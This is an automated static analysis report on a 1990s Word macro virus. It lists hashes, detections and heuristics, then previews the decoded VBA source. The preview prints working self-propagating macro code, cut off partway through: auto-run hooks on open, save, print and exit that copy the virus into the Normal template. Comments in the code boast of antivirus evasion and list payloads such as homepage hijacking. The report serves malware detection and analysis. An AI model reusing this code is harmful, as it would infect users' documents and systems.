Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 03acda5eb3d8e16f…

MALICIOUS

Office (OLE)

50.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c76339c7964bff6b10db46813f23f627 SHA-1: 0d029eab61796ac8fa7b19b7cd7bf2ff5a39ac21 SHA-256: 03acda5eb3d8e16fefcfbc9a96e51dcf37cdb9de4697cfe0fd3b3942c619322f
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, including AutoOpen and Auto_Close, which are commonly used for malicious purposes. The extracted macro code appears to be attempting to modify browser preferences, specifically setting the startup homepage to 'http://www.escalix.com/freepage/angel'. This suggests an attempt to redirect users to a malicious site or download further payloads. The ClamAV detections further confirm its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Opey-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-18
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.escalix.com/freepage/angel In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24731 bytes
SHA-256: 221b9db7e4441ff1753a5e449bf11b3b8063dc3ee704ef7311aea34321501978
Detection
ClamAV: Doc.Trojan.Opey-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Angel_2"
'// Netscape User Preferences
'// This is a generated file!  Do not edit.'
'
'user_pref("browser.startup.homepage", "http://www.escalix.com/freepage/angel");
'user_pref("browser.startup.homepage_override", false);
'user_pref("browser.wfe.ignore_def_check", true);
'user_pref("browser.window_rect", "0,0,632,480");
'user_pref("custtoolbar.personal_toolbar_folder", "Personal Toolbar Folder");
'user_pref("ldap_2.servers.infospace.csid", "UTF-8");
'user_pref("ldap_2.servers.infospace.filename", "infospace.na2");
'user_pref("ldap_2.servers.infospace.replication.lastChangeNumber", 0);
'user_pref("ldap_2.servers.netcenter.csid", "UTF-8");
'user_pref("ldap_2.servers.netcenter.filename", "netcenter.na2");
'user_pref("ldap_2.servers.netcenter.replication.lastChangeNumber", 0);
'user_pref("ldap_2.servers.pab.csid", "iso-8859-1");
'user_pref("ldap_2.servers.pab.filename", "pab.na2");
'user_pref("ldap_2.servers.pab.replication.lastChangeNumber", 0);
'user_pref("ldap_2.servers.verisign.csid", "UTF-8");
'user_pref("ldap_2.servers.verisign.filename", "verisign.na2");
'user_pref("ldap_2.servers.verisign.replication.lastChangeNumber", 0);
'user_pref("ldap_2.version", 2);
'user_pref("taskbar.x", 634);
'user_pref("taskbar.y", 5);

Sub AutoOpen()                  ' coded by D@rkByte
    Call stealth                ' Undetected by Norton Anti-virus 5.0, Dr. Sol. Antivirus
    On Error Resume Next        '   Tbav, and other shits
    Call clascopy               ' Copyaright 1999
    ActiveDocument.Save         ' Comments or Suggestions mailto: avenging.angel@mailcity.com
End Sub                         'Payload: change the Owner's Computer name
Sub AutoExec()                  '         on friday it will ask a question to be answered
    Call stealth                '         after 9/9/99 printing will print all the pages on a document
    On Error Resume Next        '         changes the home of the internet explorer to my site
    Call clascopy
    ActiveDocument.Save
End Sub
Sub FileSaveAs()
    On Error Resume Next
    Call clascopy
    Application.UserName = "Another infected of Angel Virus"
    Application.UserAddress = "Hacker From Batangas"
    Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FilePageSetup()
    On Error Resume Next
    Call clascopy
    Dialogs(wdDialogFilePageSetup).Show
End Sub
Sub FilePrint()
    On Error Resume Next
    Call clascopy
    Dialogs(wdDialogFilePrint).Show
End Sub
Sub FileOpen()
    On Error Resume Next
    Dialogs(wdDialogFileOpen).Show
    Call clascopy
    ActiveDocument.Save
End Sub
Sub AutoClose()
    On Error Resume Next
    Call clascopy
End Sub
Sub AutoExit()
    On Error Resume Next
    Call clascopy
    Application.Quit
End Sub
Sub FileSave()
    On Error Resume Next
    Call clascopy
    ActiveDocument.Save
End Sub
Sub FileClose()
    On Error Resume Next
    Call clascopy
    If ActiveDocument.Words(1) <> "" _
    And ActiveDocument.Saved = False Then
    ActiveDocument.Save
    End If
    ActiveDocument.Close
End Sub
Sub FileExit()
    On Error Resume Next
    Call clascopy
    If ActiveDocument.Words(1) <> "" And _
    ActiveDocument.Saved = False Then
    ActiveDocument.Save
    End If
    Call payload
    Application.Quit
End Sub
Sub FileNew()
    On Error Resume Next
    Dialogs(wdDialogFileNew).Show
    Call clascopy
End Sub

Sub clascopy()
   On Error Resume Next
   Call stealth
    infected = False
        For A_A = NormalTemplate.VBProject.VBComponents.Count To 1 Step -1
            modname = NormalTemplate.VBProject.VBComponents(A_A).Name
                If modname = "Angel_2" Then infected = True
                If (modname <> "Angel_2") And (modname <> "ThisDocument") Then
                    Application.Org
... (truncated)

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